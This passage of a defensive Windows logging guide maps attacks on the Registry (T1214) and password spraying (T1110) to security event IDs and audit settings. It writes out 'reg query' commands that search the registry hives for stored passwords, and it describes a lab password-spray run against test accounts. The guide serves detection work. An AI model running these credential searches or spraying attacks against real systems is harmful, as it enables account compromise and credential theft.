<td>Registry object added or deleted</td>
<td>Registry object added or deleted</td>
<td>Depends</td>
</tr>
<tr>
<td>13</td>
<td>Registry value set</td>
<td>Registry value set</td>
<td>Depends</td>
</tr>
</tbody>
</table>

- **Do you have to monitor all the Registry keys?**
- No, you don't. It is up to you to log specific registry keys that might be abused, like logon scripts for example.
- **T1214 – Credentials in Registry**

<table>
<thead>
<tr>
<th>Name</th>
<th>Soft Cell</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td>Operation Soft Cell is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks</td>
</tr>
<tr>
<td><strong>Technique</strong></td>
<td>Soft Cell used reg commands to dump specific hives from the Windows Registry, such as the SAM hive, and obtain password hashes.</td>
</tr>
<tr>
<td><strong>Tactic</strong></td>
<td>Credential Access</td>
</tr>
</tbody>
</table>

- **How to detect T1214 events?**

2. Event Viewer -> **Security**

![Event Viewer](image)
- Set auditing on the following key only:
  - HKLM\Security
  - HKLM\SAM

- Do the same for HKLM\Security
**Command**

- Local Machine Hive: `reg query HKLM /f password /t REG_SZ /s`
- Current User Hive: `reg query HKCU /f password /t REG_SZ /s`

- Turn on Object Access
  
  **Audit object access Properties**

  ![Audit object access Properties](image)

  - Define these policy settings
    - Audit these attempts:
      - Success
      - Failure

- Now when someone is going to dump credentials :D

```cmd
C:\Users\Administrator>reg query HKLM /f password /t REG_SZ /s
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9fadfd98-c8e8-42a1-b6d7-7c10c664a415}\ (Default) REG_SZ Picture Password Enrollment UX
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2135f72a-90b5-4ed3-a7f1-9b705ac276a\ (Default) REG_SZ PicturePasswordLogonProvider
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{24054E0E-D39A-A3B2-E5014C94402F\ (Default) REG_SZ OOBUpgrade Password Page
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{29EA1511-5298-4113-BEE3-EE0F6DD2C715\ (Default) REG_SZ RASGW Change Password Class
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{3bfe6eb7-281d-4333-999e-a94ae3621de7\ (Default) REG_SZ Cert Password UI class
```
Event 4656 "A handle to an object was requested" will show up with a few traces.

Event Properties - Event 4656, Microsoft Windows security auditing:

First one with **Object Access**: SECURITY
Second one with **Process Name**: C:\Windows\System32\reg.exe

Access Request Information:
Transaction ID: [00000000-0000-0000-0000-000000000000]
Accesses:
- Query key value
- Enumerate sub-keys
- Notify about changes to keys
A known is to look at the following:

![Event Properties - Event 4656, Microsoft Windows security auditing.](image)

**READ ME:**

This can be very noisy, sorry.
**T1110 – Brute Force (Password Spraying)**

<table>
<thead>
<tr>
<th>Group Name</th>
<th>IRIDIUM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>IRIDIUM is a Iran-based APT group that is known by the media for breaching Citrix</td>
</tr>
<tr>
<td>Technique</td>
<td>Password Spraying</td>
</tr>
<tr>
<td>Tactic</td>
<td>Credential Access</td>
</tr>
</tbody>
</table>

**How to detect Password Spraying events?**

1. Event Viewer -> **Security**

![Event Viewer Screenshot](image)
First, we have to understand what "Password Spraying" is.

**Password spraying** is a type of brute force attack where the hacker tries to gain access to an organisation's systems by testing out a small number of commonly used passwords on a large number of accounts, on the assumption that within a large group of people, there's likely to be at least one using a common password.

17 Oct. 2018

What is password spraying and how would you recognise it ...
https://www.beaming.co.uk › knowledge-base › what-is-password-spraying-2

Now let's perform a Password Spraying attack. I will create a bunch of accounts with a poor password, such as "Wachtwoord"

I have created four accounts with the password "Wachtwoord"

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alice Ciccu</td>
<td>User</td>
</tr>
<tr>
<td>Ben Smith</td>
<td>User</td>
</tr>
<tr>
<td>Don Jones</td>
<td>User</td>
</tr>
<tr>
<td>User1</td>
<td>User</td>
</tr>
<tr>
<td>User2</td>
<td>User</td>
</tr>
<tr>
<td>User3</td>
<td>User</td>
</tr>
<tr>
<td>User4</td>
<td>User</td>
</tr>
</tbody>
</table>

Now I am going to use the following tool to launch the Password Spray attack

https://github.com/mdavis332/DomainPasswordSpray
Here we have launched the Password Spray attack.

For all the failed logons you will receive **4648 & 4625** in the Security logs.
• Event 4648 "An logon was attempted was using explicit credentials"

Here we are able to see that Contoso\Administrator tried to log on the account of BenS.
• Event **4625** "An account failed to log on"

At Event **4625** – We will get the following

- Logon Type: **3**
- Account for Which Logon Failed:
  - Account Name: <Username>
• What about the successful Password spray attacks? ;-) 
• Did you remember that I have created four accounts?  
  **User1 – User2 – User3 – User4**

- Event **4776** shows that **User1** got pwned through a Password Spray attack.
- Event 4624 "An account was successfully logon"

<table>
<thead>
<tr>
<th>Subject</th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Security ID:</td>
<td><strong>NULL SID</strong></td>
<td></td>
</tr>
<tr>
<td>Account Name:</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>Account Domain:</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x0</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Logon Information:</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Logon Type:</td>
<td><strong>3</strong></td>
</tr>
<tr>
<td>Restricted Admin Mode:</td>
<td>-</td>
</tr>
<tr>
<td>Virtual Account:</td>
<td>No</td>
</tr>
<tr>
<td>Elevated Token:</td>
<td>Yes</td>
</tr>
</tbody>
</table>

- Logon Type: **3**
• User1 that was successfully breached through a Password Spray attack.
### T1110 – Brute Force (Password Spraying) -> Windows Event

<table>
<thead>
<tr>
<th>Windows Event ID</th>
<th>Description</th>
<th>Task Category</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr>
<td>4624</td>
<td>An account was successfully logged on</td>
<td>Logon</td>
<td>Go filter the traces, don't just monitor on 4624.</td>
</tr>
<tr>
<td>4625</td>
<td>An account failed to logon</td>
<td>Logon</td>
<td></td>
</tr>
<tr>
<td>4648</td>
<td>An logon was attempted using explicit credentials</td>
<td>Logon</td>
<td></td>
</tr>
<tr>
<td>4776</td>
<td>The computer attempted to validate the credentials for an account</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Go filter stuff now ;p